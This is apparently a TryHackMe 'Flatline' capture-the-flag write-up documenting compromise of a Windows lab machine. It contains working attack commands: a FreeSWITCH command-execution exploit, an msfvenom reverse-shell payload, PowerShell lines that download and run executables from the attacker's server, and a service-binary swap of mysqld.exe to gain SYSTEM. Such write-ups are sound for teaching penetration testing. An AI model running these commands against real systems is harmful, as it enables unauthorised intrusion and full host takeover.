CTF : Flatline

CTF Flatline writeup. Source THM. Announced difficulty level: Easy

Posted by Boula-Bytes on 29 May 2022

CTF : Flatline

Informations

  • IP: 10.10.122.197
  • MYIP: 10.8.98.126

First enumeration

Basics

  • NMAP
console
sudo nmap -Pn -p- 10.10.122.197
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:37 CEST
Nmap scan report for 10.10.122.197
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
8021/tcp open  ftp-proxy

sudo nmap -Pn -p3389,8021 -A 10.10.122.197
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:40 CEST
Nmap scan report for 10.10.122.197
Host is up (0.038s latency).

PORT     STATE SERVICE          VERSION
3389/tcp open  ms-wbt-server    Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Not valid before: 2022-05-28T11:25:23
|_Not valid after:  2022-11-27T11:25:23
|_ssl-date: 2022-05-29T11:40:55+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-EOM4PK0578N
|   NetBIOS_Domain_Name: WIN-EOM4PK0578N
|   NetBIOS_Computer_Name: WIN-EOM4PK0578N
|   DNS_Domain_Name: WIN-EOM4PK0578N
|   DNS_Computer_Name: WIN-EOM4PK0578N
|   Product_Version: 10.0.17763
|_  System_Time: 2022-05-29T11:40:54+00:00
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 3389/tcp)
HOP RTT      ADDRESS
1   36.35 ms 10.8.0.1
2   36.74 ms 10.10.122.197

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds

Vulnerabilities search

Ok so it seems to be a windows host.

There are two open ports, let's see if we find anything usefull...

console
searchsploit freeswitch                  
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
FreeSWITCH - Event Socket Command Execution (Metasploit)                             | multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution                                                | windows/remote/47799.txt
------------------------------------------------------------------------------------- ---------------------------------

Let's try the second one : 

console
searchsploit -m windows/remote/47799.txt 
  Exploit: FreeSWITCH 1.10.1 - Command Execution
      URL: https://www.exploit-db.com/exploits/47799
     Path: /usr/share/exploitdb/exploits/windows/remote/47799.txt
File Type: Python script, ASCII text executable

Copied to: /home/boula/CTF/flatline/47799.txt

mv 47799.txt freeswitch-exploit.py

Now we can test the script :

console
python3 freeswitch-exploit.py 10.10.122.197 whoami
Authenticated
Content-Type: api/response
Content-Length: 25

win-eom4pk0578n\nekrotic

It seems to work !

Exploit

It would be great to have a reverse shell. After trying some onlie code, I tried msfvenom :

console
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.98.126 LPORT=1234 -f exe > shell.exe

Now we need to upload the shell to the remote host.

So I set a basic http server :

console
python3 -m http.server

Now I can use the exploit to call powershell and connect to my http server to download shell.exe

console
python3 exploit.py 10.10.122.197 "powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/shell.exe -OutFile shell.exe"

Then I can use nc on my box : 

console
nc -nlvp 1234

After that I can invoke shell.exe on the target side

console
python3 freeswitch-exploit.py 10.10.122.197 '.\shell.exe'

And we got a shell :)

Privilege escalation

Enumeration for privesc

First we go to c:\users\Nekrotic\Desktop to get the user flag

console
type c:\Users\Nekrotic\Desktop\user.txt
THM{****}

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Now we have to find how to privesc...

I download winpeas.bat and upload it to the target to find informations :

console
c:\> powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/winpeas.bat -OutFile .\winpeas.bat

c:\> .\winpeas.bat

Dawned the script never finished...

So let's dig manually :)

There is a "projects" dir in c:\ with a sub dir called openclinic.

console
searchsploit openclinic
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
OpenClinic GA 5.194.18 - Local Privilege Escalation                                  | windows/local/50448.txt
------------------------------------------------------------------------------------- ---------------------------------
console
searchsploit -m windows/local/50448.txt 
  Exploit: OpenClinic GA 5.194.18 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/50448
     Path: /usr/share/exploitdb/exploits/windows/local/50448.txt
File Type: ASCII text

Copied to: /home/boula/CTF/flatline/50448.txt
console
cat 50448.txt
[...]
# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.
[...]

So basicaly we could generate another reverse shell with msfvenom and replace mysqld.exe with the malicious one... Let's do that !

Exploit

On target side

console
cd c:\projects\openclinic\mariadb\bin
ren mysqld.exe mysqld.exe.old
powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/mysqld.exe -OutFile .\mysqld.exe

Here we are now we just have to listen for an incomming connection after reboot the target :

console
shutdown /r /t 1

Now we have to wait...

Yes ! After a few wait I receive an incomming connection :

console
nc -nlvp 1235        
listening on [any] 1235 ...
connect to [10.8.98.126] from (UNKNOWN) [10.10.122.197] 49670
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Now we just have to go to nekrotic Desktop dir and read root.txt :)

console
C:\Windows\system32>type c:\users\nekrotic\desktop\root.txt
type c:\users\nekrotic\desktop\root.txt
THM{****} 
C:\Windows\system32>

\o/